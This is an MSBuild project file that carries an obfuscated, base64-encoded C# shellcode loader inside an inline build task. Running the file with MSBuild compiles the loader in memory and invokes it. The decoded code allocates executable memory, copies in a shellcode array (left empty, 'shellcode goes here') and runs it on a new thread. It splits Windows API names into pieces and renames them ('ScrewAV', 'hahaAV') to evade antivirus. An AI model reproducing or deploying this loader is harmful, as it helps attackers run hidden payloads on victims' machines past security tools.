csharpfun.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Business">
   <BusinessTime />
  </Target>
<UsingTask
    TaskName="BusinessTime"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      	<Using Namespace="System" />
	<Using Namespace="System.Runtime.InteropServices" />
	<Using Namespace="System.Reflection" />
	<Using Namespace="System.Text" />
	<Using Namespace="System.CodeDom.Compiler" />
	<Using Namespace="Microsoft.CSharp" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
			string strb64 = "dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpuYW1lc3BhY2UgQ3VzdG9tCnsKICAgIHB1YmxpYyBjbGFzcyBQcm9ncmFtCiAgICB7CiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIE1haW4oKQogICAgICAgIHsKICAgICAgICAgICAgYnl0ZVtdIHNjID0gbmV3IGJ5dGVbXSB7IH0gLy9zaGVsbGNvZGUgZ29lcyBoZXJlLgoJCQkKICAgICAgICAgICAgVUludDMyIGZhID0gQVZCbG93cygwLCAoVUludDMyKXNjLkxlbmd0aCwgMHgxMDAwLCAweDQwKTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHNjLCAwLCAoSW50UHRyKShmYSksIHNjLkxlbmd0aCk7CiAgICAgICAgICAgIEludFB0ciBodCA9IEludFB0ci5aZXJvOwogICAgICAgICAgICBVSW50MzIgdGhyZWFkSWQgPSAwOwoKICAgICAgICAgICAgSW50UHRyIHBpbmZvID0gSW50UHRyLlplcm87CiAgICAgICAgICAgIGh0ID0gU2NyZXdBVigwLCAwLCBmYSwgcGluZm8sIDAsIHJlZiB0aHJlYWRJZCk7CgogICAgICAgICAgICBoYWhhQVYoaHQsIDB4RkZGRkZGRkYpOwogICAgICAgIH0KCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBFbnRyeVBvaW50PSJWaXIiICsgInR1YWxBIiArICJsbG9jIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIFVJbnQzMiBBVkJsb3dzKFVJbnQzMiBscFN0YXJ0QWRkciwgVUludDMyIHNpemUsIFVJbnQzMiBmbEFsbG9jYXRpb25UeXBlLCBVSW50MzIgZmxQcm90ZWN0KTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VyIiArICJuZWwzMiIsIEVudHJ5UG9pbnQ9IkNyZWF0ZSIgKyAiVGhyZWFkIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIEludFB0ciBTY3Jld0FWKFVJbnQzMiBscFRocmVhZEF0dHJpYnV0ZXMsIFVJbnQzMiBkd1N0YWNrU2l6ZSwgVUludDMyIGxwU3RhcnRBZGRyZXNzLCBJbnRQdHIgcGFyYW0sIFVJbnQzMiBkd0NyZWF0aW9uRmxhZ3MsIHJlZiBVSW50MzIgbHBUaHJlYWRJZCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgRW50cnlQb2ludD0iV2FpdEYiICsgIm9yU2luIiArICJnbGVPYmplY3QiKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gVUludDMyIGhhaGFBVihJbnRQdHIgaEhhbmRsZSwgVUludDMyIGR3TWlsbGlzZWNvbmRzKTsKICAgIH0KfQo=";
			string code = Encoding.UTF8.GetString(System.Convert.FromBase64String(strb64));
			CSharpCodeProvider prov = new CSharpCodeProvider();
			CompilerParameters parms = new CompilerParameters();
			parms.GenerateInMemory = true;
			parms.GenerateExecutable = false;
			CompilerResults results = prov.CompileAssemblyFromSource(parms, code);
			Assembly assembly = results.CompiledAssembly;
			Type program = assembly.GetType("Custom.Program");
			MethodInfo main = program.GetMethod("Main");
			main.Invoke(null, null);		
        ]]>
      </Code>
    </Task>
	</UsingTask>
</Project>